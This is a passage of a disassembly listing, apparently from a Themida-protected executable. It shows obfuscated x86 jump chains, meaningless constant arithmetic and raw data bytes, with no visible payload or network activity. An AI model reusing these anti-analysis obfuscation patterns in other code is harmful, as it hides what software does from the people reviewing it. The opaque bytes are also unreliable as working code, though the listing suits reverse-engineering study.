mov [esp], edx
sub esp, 4
mov [esp], ebp
jmp loc_55240E
; ---------------------------------------------------------------------------
dw 8758h
dd 248B241Ch, 21E56824h, 0DE90000h, 68FFFFBCh, 3D0C2DF4h
dd 4AF5815Dh, 51133A02h, 120AF0B9h, 90C18172h, 0D171E32Eh
dd 81D1F7E1h, 5E15ABE9h, 0C5E9813Ah, 1EBBF5Eh, 0C6A6E9CDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B0DE: ; CODE XREF: Themida_:0054CD07j
mov dh, ah
pop eax
jmp loc_54D26C
; ---------------------------------------------------------------------------
dw 0EA29h
dd 3D16EA81h, 2C8B45D4h, 402B6824h, 34890000h, 0E9E68924h
dd 176Eh, 3E6801B8h, 8BC83147h, 0C481240Ch, 4, 52E8E9h
db 0
; ---------------------------------------------------------------------------
loc_54B115: ; CODE XREF: Themida_:0054C3F1j
pop edi
shr ebp, 4
jmp loc_55260D
; ---------------------------------------------------------------------------
dw 3C89h
dd 42FBF24h, 6E90C8Bh, 66FFFFE1h, 68240C8Bh, 1ABEh, 89240C89h
dd 32BE56E1h, 8141AB44h, 0AB442EEEh, 5EF10141h, 19BA5257h
dd 0C1453A6Ch, 0D2F707EAh, 0BCBB5342h, 0E900E556h, 6F94h
dd 0BCEB815Fh, 899487B5h, 0C5815BDAh, 0E851E27h, 0ED81D501h
dd 0E851E27h, 6E0F685Ah, 2C890000h, 0FCA9E924h, 8B66FFFFh
dd 19682414h, 89000039h, 0E389241Ch, 4BF57h, 0FB010000h
dd 4EC815Fh, 89000000h, 9D682404h, 5813BB49h, 0CFF5048h
dd 35485824h, 322C3853h, 0D7E9D8F7h, 66000059h, 66240C89h
dd 66C8B60Fh, 3BE99C51h, 54FFFFB0h, 5724148Bh, 0C781E789h
dd 4, 8704C783h, 815C243Ch, 4C2h, 2B85000h, 81000000h
dd 0FE7BB2EAh, 55C20163h, 115A94BDh, 0DBC58167h, 813E3135h
dd 6C60ABC5h, 6E5C16Fh, 6686E9h, 0CEE95A00h
db 56h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B217: ; CODE XREF: Themida_:0054CC81j
mov eax, [esp]
add esp, 4
push dword ptr [esp]
pop ebp
jmp loc_550462
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 59545158h, 6F8168h, 241C8900h, 0E40B08BBh
dd 0F3814B26h, 65C53706h, 0E9D3F74Bh, 0B46h, 7AE95854h
dd 68FFFFB6h, 4, 8BC68958h, 0C4812404h, 4, 98E9F101h, 83FFFFE4h
dd 343304C4h, 24343124h, 8B243433h, 9FE92424h, 0FF000050h
dd 34FF2434h, 0C4835A24h, 0E7895704h, 4C781h, 0EF830000h
dd 243C8704h, 0FFB193E9h, 0C18159FFh, 4, 83BE5653h, 460B932Fh
dd 70B8CE81h, 0F7564881h, 0F75E2414h, 70E681DEh, 81320F27h
dd 32732F6h, 5EF38902h, 835BD929h, 48904ECh, 5E08924h
dd 4, 0A58E9h, 6526BF00h, 0FB290BB4h, 0F9AE95Fh, 1590000h
dd 24348BF3h, 0E904C483h, 0FFFFB932h, 0BD555854h, 4, 353E9h
dd 5DEA2900h, 8B241487h, 14892424h, 0E7B05024h, 5366092Ch
dd 0F80027B7h, 0DF0C5B66h, 5307E8C0h, 0FC9E9h
db 0
; ---------------------------------------------------------------------------
loc_54B329: ; CODE XREF: Themida_:0054C0AEj
add esp, 4
add edi, 4
jmp loc_5468FF
; ---------------------------------------------------------------------------
loc_54B337: ; CODE XREF: Themida_:0054AC90j
push edi
push dword ptr [esp+4]
jmp loc_54C0DF
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 53E78957h, 4BBh, 0ABC78100h, 15B5262h, 0ABEF81DFh, 5B5B5262h
dd 5C8D68h, 24148900h, 124250BAh, 0EA814211h, 1112424Dh
dd 45CAE952h, 0C310000h, 167BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B37E: ; CODE XREF: Themida_:00546B9Ej
pop edx
sub ebx, ecx
jmp loc_546730
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24248904h, 4240483h, 0E924348Bh, 0FFFFD67Dh, 0E4B80BEh
dd 52D6875Bh, 5A2414F7h, 5A5E5256h, 0F706E6C1h, 1C6CE9DEh
dd 68660000h, 89664EC9h, 4BE92404h, 81FFFFAEh, 78D4242Ch
dd 54E96AB9h, 0ACFFFFCEh, 0B353D830h, 68C3FEFEh, 28ECh
dd 0B2241489h, 49F280D6h, 2812C380h, 12EB80D3h, 5A2434FFh
dd 4DB6E9h, 432CB900h, 0CB311125h, 0FFF83AE9h, 0C8B66FFh
dd 787F6824h, 4890000h, 644E924h, 0FFBB0000h, 0E9078367h
dd 0EF4h, 8FE93204h, 1000049h, 30E959C8h, 8000002Bh, 0D80079EBh
dd 2CC8005Bh, 3D98E98Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B436: ; CODE XREF: Themida_:005477B6j
pop edx
sub esp, 4
mov [esp], ebx
mov bh, 9Bh
dec bh
jmp loc_54D3F1
; ---------------------------------------------------------------------------
db 83h, 4, 24h
dd 21E95F04h, 2900001Fh, 21EB81CBh, 81262330h, 1A285DEBh
dd 4CC4E96Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B466: ; CODE XREF: Themida_:00550910j
sub [esp+4], eax
pop eax
jmp loc_54620A
; ---------------------------------------------------------------------------
dd 875EF501h, 9AE9242Ch, 89FFFFDBh, 4C281E2h, 81000000h
dd 4EAh, 24148700h, 21C5E9h, 6B68AC00h, 0E9000004h, 0FFFFF6BAh
dd 5F2434FFh, 8F04C483h, 248B2404h, 0C8AF0F24h, 57E99C51h
dd 0C1000042h, 0EC8104E0h, 4, 0E9241489h, 1FE5h, 56241C89h
dd 530114BEh, 0F7E6D133h, 546CE9DEh, 2C8B0000h, 4C48124h
dd 2D000000h, 46330314h, 1405D801h, 2D463303h, 44E52980h
dd 37185B05h, 15D4E96Bh, 1C310000h, 241C3324h, 3824248Bh
dd 0FFE99CC1h
db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B50B: ; CODE XREF: Themida_:00551714j
sub eax, esi
jmp loc_54B07C
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 4B850h, 0C2010000h, 24143358h, 61FAE9h, 5EC28100h
dd 51981788h, 5B2003B9h, 2C18158h, 123D605h, 0D30159CBh
dd 2505EB81h, 555A7C31h, 233021BDh, 5DEB0126h, 0FFFEFEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B555: ; CODE XREF: Themida_:0054988Ej
sub ebx, ebp
push eax
mov eax, 28B9674Dh
not eax
sub eax, 42AC76B7h
shl eax, 7
jmp loc_55120F
; ---------------------------------------------------------------------------
dd 205h, 24048700h, 240CD35Ch, 0AC8CE99Ch, 8158FFFFh, 4C4h
dd 5E545600h, 0FFF38FE9h, 28B0B3FFh, 241C8BD8h, 4EC81h
dd 0C2E90000h, 8100000Ch, 4C4h, 0D659E900h, 0FD28FFFFh
dd 80C5FE5Bh, 0C8E95DF5h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B5B7: ; CODE XREF: Themida_:0055113Aj
pop edx
jmp loc_548935
; ---------------------------------------------------------------------------
db 55h, 0E9h, 6Bh
dd 89000015h, 0B951243Ch, 62672089h, 67208BBFh, 59CF3162h
dd 3C8BFB01h, 256CE924h, 285B0000h, 240C8BEAh, 5FABE9h
dd 6F04AC00h, 8904EC83h, 96E9241Ch, 57FFFFFFh, 19585268h
dd 0ACE95F39h, 400000Bh, 0E9D8283Bh, 0FFFFE0CFh, 58C6015Fh
dd 8B243487h, 8B662424h, 0A3E9240Ch, 5A00003Dh, 0E9241C33h
dd 50B6h, 0CD19E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B62E: ; CODE XREF: Themida_:0054E424j
push eax
jmp loc_5528B5
; ---------------------------------------------------------------------------
dd 15FF901h, 0A6E981F9h, 81211C27h, 346D78E9h, 3726E934h
dd 3C8B0000h, 5A8AE924h, 0E95A0000h, 3A5h, 0E95DE801h
dd 0FFFFDD6Ch
; ---------------------------------------------------------------------------
loc_54B660: ; CODE XREF: Themida_:00549BBCj
add edi, ecx
pop ecx
add ebx, edi
pop edi
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_54FE86
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0E9008F00h, 0FFFFAB86h, 0E95EF501h, 0FFFFBADBh
dd 685EF301h, 3A07h, 55241489h, 0FE6AB568h, 685D76h, 29000000h
dd 58E9242Ch
db 4Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54B6AB: ; CODE XREF: Themida_:00551B68j
mov dl, 0D9h
push ecx
jmp loc_54979A
; ---------------------------------------------------------------------------
loc_54B6B3: ; CODE XREF: Themida_:0054878Fj
push esi
pop eax
pop esi
push 7FADh
mov [esp], edx
jmp loc_55112A
; ---------------------------------------------------------------------------
db 66h
dd 3FE99C51h, 0B3FFFFABh, 5BD800B5h, 0E8284004h, 0B52C402Ch
dd 0FFC672E9h, 4BFFFh, 7C010000h, 5E5F0424h, 1B99E9h, 13BD5500h
dd 0E9228802h, 30F3h, 8B240C33h, 0F662424h, 9C2404B3h
dd 0FFAB01E9h, 0AAFCE9FFh, 34FFFFFFh, 2434FF24h, 582434FFh
dd 4C481h, 0C4810000h, 4, 81E78957h, 4C7h, 4E80E900h, 0BA520000h
dd 0DE0A69h, 815AD531h, 0EB3957C7h, 0E9EF016Eh, 0FFFFCC78h
dd 42474FFh, 0E92434FFh, 6D64h, 66D58851h, 0E9EC8850h
dd 81h, 0BA241489h, 710429F9h, 557508B9h, 5AD129CDh, 0EBD5550h
dd 890B4A39h, 77355DE8h, 57438B79h, 562B85BFh, 5FF82976h
dd 0CC2DD0F7h, 5214D78h, 3ED47EACh, 0FFDCCEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54B799: ; CODE XREF: Themida_:005466EBj
pop eax
xchg ebx, [esp]
mov esp, [esp]
jmp loc_54620A
; ---------------------------------------------------------------------------
db 0E9h, 60h, 0AAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54B7AA: ; CODE XREF: Themida_:0054ABB4j
add ebx, eax
pop eax
xchg ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ecx
add esp, 4
xor ecx, 27E15124h
jmp loc_546FEE
; ---------------------------------------------------------------------------
aIqsC db '‰ïé×C',0
align 4
dd 50283FBDh, 3E5C113h, 327BB951h, 0CD016E47h, 0FFCC53E9h
dd 88C4FEFFh, 885866E5h, 0D18659EAh, 88ACF180h, 0D83059CBh
dd 0B2525B66h, 0B1516693h, 55B25272h, 809CE280h, 0D100B0EAh
dd 3514E95Ah, 0E0890000h, 405h, 3807E900h, 815D0000h, 17E81EC7h
dd 5FF8290Fh, 81240C8Bh, 4C4h, 0E9525100h, 2F59h, 0FF565A59h
dd 5E042474h, 8B24048Fh, 0E1F72424h, 0A6068h, 241C8900h
dd 0BA52E389h, 3FA61EF8h, 495C281h, 0E2C16F1Fh, 7CBB5307h
dd 816291C6h, 5068BBC2h, 81DA2954h, 5068BBEAh, 2434FF54h
dd 81241C8Bh, 4C4h, 4C48100h, 1000000h, 24148BD3h, 1E72E953h
dd 0CA810000h, 5F1E330Ch, 24F8E281h, 0C2815C99h, 45F36847h
dd 6418E9h, 0AB75300h, 8002EFC0h, 0CF80E9CFh, 0DEC7803Ch
dd 20B3EF80h, 1045BF8h, 80AEB353h, 0EFE93BC3h, 29FFFFEEh
dd 4EC81D8h, 89000000h, 0D6E9240Ch, 5CFFFFB6h, 8904EC83h
dd 0E389241Ch, 3BC9B951h, 0E9502D09h, 5EBEh
; ---------------------------------------------------------------------------
loc_54B8EC: ; CODE XREF: Themida_:0054E4B6j
xor ebp, [esp]
pop esp
jmp loc_54D06D
; ---------------------------------------------------------------------------
db 53h, 81h, 0ECh
dd 4, 0BE243489h, 4, 15EF389h, 0C2835BDAh, 24143304h, 33241431h
dd 835C2414h, 14E904ECh, 2D000060h, 29DE1D7Bh, 4244401h
dd 4795E9h
db 0
; ---------------------------------------------------------------------------
loc_54B92D: ; CODE XREF: Themida_:0054C09Bj
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
and eax, ecx
push dword ptr [esp]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
or edx, eax
shl edx, 1
push edi
mov edi, esp
jmp loc_551231
; ---------------------------------------------------------------------------
db 81h
dd 4C7h, 2B49E900h, 0D2F60000h, 19D5E9h
db 0
; ---------------------------------------------------------------------------
loc_54B979: ; CODE XREF: Themida_:0054A0BDj
xchg edx, [esp]
not edx
xchg edx, [esp]
mov edx, [esp]
push edx
mov edx, esp
jmp loc_550C07
; ---------------------------------------------------------------------------
dd 6866D800h, 4FE9222Eh, 81FFFFC2h, 2E2AD2E3h, 4E3C13Dh
dd 27C6B850h, 0D8F71E7Ch, 0D811A62Dh, 4462257Bh, 0BB355939h
dd 35383B49h, 0ACE379Bh, 0C5E9C321h, 50FFFFDDh, 0AF452EB8h
dd 49F2BA19h, 0C2819760h, 2EFD35F1h, 0EA81C229h, 2EFD35F1h
dd 9BE95258h, 81000026h, 407BD5CAh, 0FFE9561Eh, 5C000033h
dd 2721E9h, 192CAC00h, 0FFACE4E9h, 66C328FFh, 0E9C30058h
dd 0FFFFDFBDh
; ---------------------------------------------------------------------------
loc_54BA08: ; CODE XREF: Themida_:00550992j
pop ebx
or eax, eax
jz loc_546DD0
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_54CF52
; ---------------------------------------------------------------------------
db 0FFh
dd 0E95E240Ch, 1FEFh
; ---------------------------------------------------------------------------
loc_54BA28: ; CODE XREF: Themida_:00551696j
mov esi, 51FF4506h
xor esi, edi
pop edi
and esi, 4B394F0Bh
push ebx
push 54457337h
pop ebx
or esi, ebx
pop ebx
jmp loc_54CC3F
; ---------------------------------------------------------------------------
db 68h, 83h, 7Eh
dd 34890000h, 0D9F3E924h, 5854FFFFh, 4128E953h, 0ABE90000h
dd 21FFFFA7h, 0E8C15EF0h, 50C83108h, 0FF2414F7h, 51582434h
dd 270F68h, 24248900h, 4BE56h, 0BF570000h, 5F877046h, 8247C01h
dd 5FC1E9h
db 0
; ---------------------------------------------------------------------------
loc_54BA8D: ; CODE XREF: Themida_:00551D31j
sub eax, 0D217703Ah
and edx, eax
jmp loc_546743
; ---------------------------------------------------------------------------
db 0BBh, 7Bh, 4Ah
dd 0DA012591h, 2193E9h, 0C1815800h, 6C8C0CB9h, 4259CA09h
dd 0F2B6C281h, 0D8E9C907h, 83FFFFC6h, 55E904C7h, 66FFFFBDh
dd 52240C8Bh, 5404EC83h, 8124048Fh, 42404h, 34FF0000h
dd 0C4835A24h, 4BD5504h, 81000000h, 1F3589C2h, 51EA0104h
dd 0D6371B9h, 0DFB8E913h, 0F021FFFFh, 0FFA7D8E9h, 1FB8BAFFh
dd 0EAC12C50h, 7EAC108h, 8461EA81h, 0D62923C3h, 8124148Bh
dd 4C4h, 5EF18900h, 6CDE950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BB22: ; CODE XREF: Themida_:0054EFFBj
jmp loc_54620A
; ---------------------------------------------------------------------------
loc_54BB27: ; CODE XREF: Themida_:00548C73j
shr ebp, 5
inc ebp
jmp loc_547800
; ---------------------------------------------------------------------------
dd 4B8h, 58C10100h, 5C240C87h, 31241C33h, 1C33241Ch, 4295C24h
dd 8BE99C24h, 81FFFFE8h, 4C7h, 243C8700h, 0D53E95Ch, 0C870000h
dd 2055C24h, 33000000h, 4312404h, 24043324h, 0AF0F665Ch
dd 9C5166C8h, 0FFA68DE9h, 405FFh, 0C0830000h, 24048704h
dd 6E4E685Ch, 2C890000h, 84B95124h, 0BD64CD54h, 70F934E6h
dd 5A4868h, 241C8900h, 0E955E389h, 0FFFFD046h, 2EE9D528h
db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BBB3: ; CODE XREF: Themida_:00552587j
push edx
push ebx
push 0D1E0957h
pop ebx
sub ebx, 0C61DA55Eh
mov edx, ebx
mov ebx, [esp]
add esp, 4
shr edx, 5
jmp loc_54711C
; ---------------------------------------------------------------------------
loc_54BBD4: ; CODE XREF: Themida_:0054E9EEj
pop edx
sub eax, 64301BA4h
mov ebp, eax
pop eax
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push ebp
push esp
pop ebp
add ebp, 4
push ebx
mov ebx, 4
jmp loc_550AAC
; ---------------------------------------------------------------------------
db 81h
dd 646CF6C6h, 0B4A6E94Dh, 895CFFFFh, 8ABB241Ch, 29676152h
dd 241C8BDFh, 0FD04C483h, 2614E9h, 0A1F38100h, 2968BB5Bh
dd 2A75E9D8h, 8B660000h, 54502404h, 75616858h, 85E90000h
dd 81FFFFD1h, 4C5h, 4EF1E900h, 525D0000h, 6B01EBBAh, 6BF2817Ah
dd 42538921h, 0FFB1ECE9h, 241C8BFFh, 4C481h, 0C3810000h
dd 59EA742Ah, 0EB81D301h, 59EA742Ah, 0C1E3D15Ah, 22E905EBh
db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BC7F: ; CODE XREF: Themida_:00547ACAj
sub eax, 292C152Fh
add eax, 0FAB2DC7h
sub eax, ecx
sub eax, 0FAB2DC7h
add eax, 292C152Fh
jmp loc_54D66C
; ---------------------------------------------------------------------------
loc_54BC9A: ; CODE XREF: Themida_:00551AB5j
xor edx, 0E5F1BDFEh
mov ebx, edx
mov edx, [esp]
jmp loc_54DF22
; ---------------------------------------------------------------------------
dw 0EB81h
dd 0D1648E36h, 15BDF31h, 2434FFF8h, 4EC815Fh, 89000000h
dd 0E189240Ch, 4C181h, 0C1810000h, 4, 5C240C87h, 2BA52h
dd 0D0010000h, 2404875Ah, 2424D35Ch, 0A520E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BCEA: ; CODE XREF: Themida_:0054739Aj
pop esp
sub [edi+24h], esi
pop esi
jmp loc_54D24F
; ---------------------------------------------------------------------------
dd 0D6F7F287h, 0F281F287h, 0B470B98Eh, 0FFCAF1E9h, 0BB535EFFh
dd 4, 335BDA01h, 14312414h, 24143324h, 0FFAF67E9h, 0E9DEF7FFh
dd 0FFFFD540h
; ---------------------------------------------------------------------------
loc_54BD24: ; CODE XREF: Themida_:0054EAB8j
push 3937039Dh
pop eax
push esi
mov esi, 62140824h
jmp loc_547D67
; ---------------------------------------------------------------------------
db 83h, 0E8h, 4
dd 5C240487h, 12FDE9h
db 0
; ---------------------------------------------------------------------------
loc_54BD41: ; CODE XREF: Themida_:00546DE0j
mov edx, 0B151FE7h
sub dword ptr [esp+4], 520825AFh
add [esp+4], edx
add dword ptr [esp+4], 520825AFh
mov edx, [esp]
add esp, 4
jmp loc_550ED1
; ---------------------------------------------------------------------------
dd 0A92DD0F7h, 1DFE5EFh, 24048BC7h, 4C481h, 20E90000h
dd 55FFFFA8h, 0FFC5BBE9h, 48B66FFh, 0E0895024h, 0EAEFE956h
dd 0EB81FFFFh, 1C756DEAh, 5423EB81h, 0F3814D4Bh, 531E01F6h
dd 0FFE0EDE9h, 8BF588FFh, 0C4832414h, 0E5805B04h, 0EEC580BEh
dd 5E9EA28h, 83FFFFDFh, 48904ECh, 2474FF24h, 48F5804h
dd 0C694E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54BDD2: ; CODE XREF: Themida_:00546D18j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
jmp loc_54D2C6
; ---------------------------------------------------------------------------
dd 815DEB01h, 4EBh, 0A90AE900h, 8B54FFFFh, 8956240Ch, 0C5C6E9E6h
dd 0BD55FFFFh, 3B921642h, 62BECD81h, 0D5F719F4h, 30C6ED81h
dd 0F4E919A7h, 0FFFFBFh, 240C8BE8h, 4C481h, 0C7280000h
dd 0E9F83058h, 66E5h, 5F2434FFh, 6804C483h, 499Ch, 0FFD064E9h
dd 48B66FFh, 54F6824h, 1C890000h, 5C66824h, 24890000h
dd 1332E924h, 15D0000h, 0CAEE81DEh, 8B57A735h, 8956241Ch
dd 4C681E6h, 81000000h, 4C6h, 24348700h, 2434335Ch, 33243431h
dd 0E95C2434h, 0FFFFBE9Eh, 6E936855h, 2C8B0724h, 20A1E924h
dd 0EE800000h, 0AEE80FFh, 30ABC680h, 62E95AF4h, 81FFFFA8h
dd 38821F5h, 8BEE0124h, 0C483242Ch, 4EC8304h, 0FF243489h
dd 8B042474h, 0C4832434h, 24048F04h, 2404205Ch, 0A334E99Ch
dd 0E958FFFFh, 0FFFFCE63h, 0B089F581h, 0E83120C0h, 0C5E9815Dh
dd 0E94C4802h, 1E22h, 5C243C87h, 263AE9h, 52742D00h, 0FE2D0265h
dd 5E5AB94Dh, 8B240487h, 0C4812424h, 4, 0FFCA0EE9h, 60F281FFh
dd 0E920E676h, 0FFFFC090h
; ---------------------------------------------------------------------------
loc_54BF20: ; CODE XREF: Themida_:0054ED6Bj
pop ebp
jmp loc_549D33
; ---------------------------------------------------------------------------
dw 57B9h
dd 0E921E15Eh, 0FFFFC4C3h, 5B3B6CB8h, 0E9C1217Eh, 0FFFFFB69h
dd 47318ABEh, 92E95021h, 89FFFFE3h, 24148BD5h, 4C481h
dd 0EE090000h, 48D5E95Dh, 8F0000h, 0FFA2A9E9h, 0E9EBD1FFh
dd 4FF4h
; ---------------------------------------------------------------------------
loc_54BF68: ; CODE XREF: Themida_:0054D9B8j
mov eax, 4
push ebp
mov ebp, eax
mov esi, ebp
pop ebp
pop eax
and ecx, esi
pop esi
shr ecx, 0Ah
push ebx
push ebp
mov ebp, 306F1CBDh
add [esp+4], ebp
jmp loc_54C306
; ---------------------------------------------------------------------------
loc_54BF8A: ; CODE XREF: Themida_:0054A3F6j
add ebp, 4
jmp loc_5482F3
; ---------------------------------------------------------------------------
db 68h, 0B5h, 18h
dd 0C890000h, 3DBFB924h, 1BE92E50h, 0B1FFFFE1h, 58E130D9h
dd 0CA30E3B2h, 0EB2C59h, 0D8BEE9D0h, 0BD55FFFFh, 22C2669Eh
dd 1C581h, 0C5810000h, 68704030h, 0A35B850h, 0C5093FCAh
dd 0C1DDF758h, 0F58102EDh, 212D5F2Dh, 0F75DE889h, 48E955D8h
db 39h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54BFEB: ; CODE XREF: Themida_:0054FB5Aj
mov [esp], ebx
mov bl, 4Ah
sub bl, 0BDh
sub al, bl
pop ebx
mov dx, [esp]
push 5F8Ah
mov [esp], ecx
jmp loc_5484B3
; ---------------------------------------------------------------------------
db 81h
dd 4C1h, 240C8700h, 0FFF9DAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54C015: ; CODE XREF: Themida_:0054F972j
add dword ptr [esp], 4
pop edx
push eax
mov eax, 4
jmp loc_548769
; ---------------------------------------------------------------------------
loc_54C028: ; CODE XREF: Themida_:00550E8Fj
add esp, 4
push ecx
mov ecx, 4EFE70FCh
push esi
mov esi, 0
sub esi, ecx
mov ecx, esi
pop esi
jmp loc_5526DE
; ---------------------------------------------------------------------------
dd 5A66F700h, 5247F780h, 0EA8059B2h, 0ECA80C7h, 80D5EA80h
dd 19E965CAh, 66FFFFABh, 6824048Bh, 1BBFh, 0E9240489h
dd 0FFFFA97Fh
; ---------------------------------------------------------------------------
loc_54C070: ; CODE XREF: Themida_:0054690Dj
shr edx, 1
cmp eax, edx
jmp loc_54F758
; ---------------------------------------------------------------------------
db 81h, 0EFh, 4
dd 87000000h, 0AE9243Ch, 8B000042h
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ecx
jmp loc_54B92D
; ---------------------------------------------------------------------------
loc_54C0A0: ; CODE XREF: Themida_:00550E03j
push 3501h
jmp loc_547B7E
; ---------------------------------------------------------------------------
loc_54C0AA: ; CODE XREF: Themida_:0054E9D9j
push esp
mov edi, [esp]
jmp loc_54B329
; ---------------------------------------------------------------------------
loc_54C0B3: ; CODE XREF: Themida_:00550306j
xchg ebx, [esp]
pop esp
add edx, edi
push ecx
jmp loc_54E884
; ---------------------------------------------------------------------------
loc_54C0BF: ; CODE XREF: Themida_:00547128j
not edx
push ecx
mov ecx, 0AF375B3h
add edx, ecx
jmp loc_54FAFC
; ---------------------------------------------------------------------------
dw 505Fh
dd 4B8h, 8BC70100h, 2AE92404h
db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C0DF: ; CODE XREF: Themida_:0054B33Cj
pop edi
pop dword ptr [esp]
pop esp
mov [esp], edx
jmp loc_5492CF
; ---------------------------------------------------------------------------
dd 348BF389h, 0B17DE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C0F6: ; CODE XREF: Themida_:005487A2j
pop ebp
mov eax, [esp]
add esp, 4
push 5EA7h
mov [esp], edx
jmp loc_54A0B7
; ---------------------------------------------------------------------------
dw 2BDh
dd 0E9000000h, 0FFFFCD14h
; ---------------------------------------------------------------------------
loc_54C114: ; CODE XREF: Themida_:00551FAFj
add esp, 4
jmp loc_54DD0D
; ---------------------------------------------------------------------------
db 81h
dd 9E90B3F3h, 245F31E7h, 0D2315D5Bh, 0FFE343E9h, 0D83159FFh
dd 0A0BF575Bh, 0E969E474h, 0FFFFB3EFh, 592434FFh, 3BA7E9h
dd 64B85000h, 53B4A2Ch, 2DB01460h, 0E958C729h, 0F64h, 8324148Bh
dd 5B5904C4h, 0FFA0A1E9h, 241433FFh, 0F24248Bh, 9168C8BEh
dd 8900002Fh, 0DCE9240Ch, 80000037h, 0EDC04BF5h, 0B2526604h
dd 0FA1EE9FEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C18E: ; CODE XREF: Themida_:00549A2Bj
xor esi, [esp]
mov esp, [esp]
jmp loc_549623
; ---------------------------------------------------------------------------
db 50h, 0B8h, 0FFh
dd 1FFFFFFh, 0ED8158C5h, 7F1C3E2Bh, 90E9E889h, 0C1FFFFDDh
dd 78E908EFh, 33FFFFADh, 665C2404h, 5124048Bh, 13D7E954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C1C6: ; CODE XREF: Themida_:0055258Fj
push ebp
push esp
jmp loc_54D469
; ---------------------------------------------------------------------------
loc_54C1CD: ; CODE XREF: Themida_:0054A04Fj
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, esp
add ecx, 4
push ebx
jmp loc_54E30E
; ---------------------------------------------------------------------------
loc_54C1E5: ; CODE XREF: Themida_:0055127Aj
mov [esp], edx
mov dh, 0D4h
jmp loc_547790
; ---------------------------------------------------------------------------
db 0B8h
dd 7BA54B95h, 4FFFE9h, 7E95C00h, 6600002Eh, 5766DAF7h
dd 649EE9h
db 0
; ---------------------------------------------------------------------------
loc_54C209: ; CODE XREF: Themida_:0054F85Fj
sub dword ptr [esp+4], 57820113h
sub dword ptr [esp+4], 32CD0185h
sub dword ptr [esp+4], 216F75E0h
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
pop ecx
push ebp
jmp loc_549F19
; ---------------------------------------------------------------------------
dw 433h
dd 0C8315C24h, 83240C8Bh, 0C33104C4h, 2CB951h, 0C1810000h
dd 200F7D00h, 0E981F901h, 200F7D00h, 0FFB6A1E9h, 243C89FFh
dd 0DC5E9h, 0F3F28100h, 29501328h, 24148BD3h, 104C483h
dd 0A9BA52D3h, 0E923D553h, 24Eh, 0E924148Bh, 0FFFFF3EBh
dd 5AEE8166h, 0F70966DEh, 6647665Eh, 5451C781h, 5C350566h
dd 66F82966h, 0FF5C352Dh, 3C8B2434h, 4C48124h, 50000000h
dd 341DE9h
db 0
; ---------------------------------------------------------------------------
loc_54C2B9: ; CODE XREF: Themida_:00551E61j
sub esp, 4
jmp loc_54EA64
; ---------------------------------------------------------------------------
dd 55240489h, 0F73455BDh, 86CD816Bh, 816F280Bh, 0AF23B0F5h
dd 5DE88979h, 0E9D0F748h, 22E3h, 42474FFh, 24048F59h, 370FE95Ch
dd 41B70000h, 0F663CF80h, 80DFF6D7h, 0C780D0E7h, 49E6E954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54C306: ; CODE XREF: Themida_:0054BF85j
pop ebp
jmp loc_550A77
; ---------------------------------------------------------------------------
dd 8104E3C1h, 0DE1BBEC3h, 0FDC38126h, 0E996D864h, 0FFFFBB7Fh
; ---------------------------------------------------------------------------
loc_54C320: ; CODE XREF: Themida_:00547D72j
not esi
xor esi, 0BAF67233h
add eax, esi
pop esi
push ecx
jmp loc_547BF5
; ---------------------------------------------------------------------------
loc_54C331: ; CODE XREF: Themida_:00546ED9j
add esp, 4
push ecx
mov ecx, 7931141Ah
shr ecx, 2
not ecx
not ecx
not ecx
neg ecx
push ebx
jmp loc_54AAE3
; ---------------------------------------------------------------------------
db 0FFh
dd 5A042474h, 8B24048Fh, 0EAE92424h
db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54C35B: ; CODE XREF: Themida_:00551475j
mov ecx, ebx
pop ebx
shr ecx, 1
and ecx, 71530822h
and ecx, 59696D48h
push ecx
not dword ptr [esp]
pop ecx
xchg eax, ecx
not eax
jmp loc_54B04B
; ---------------------------------------------------------------------------
db 59h, 81h, 0F2h
dd 16D44134h, 5F1AF281h, 0D60122A4h, 8324148Bh, 343304C4h
dd 24343124h, 5C243433h, 8B2434FFh, 89562404h, 4C681E6h
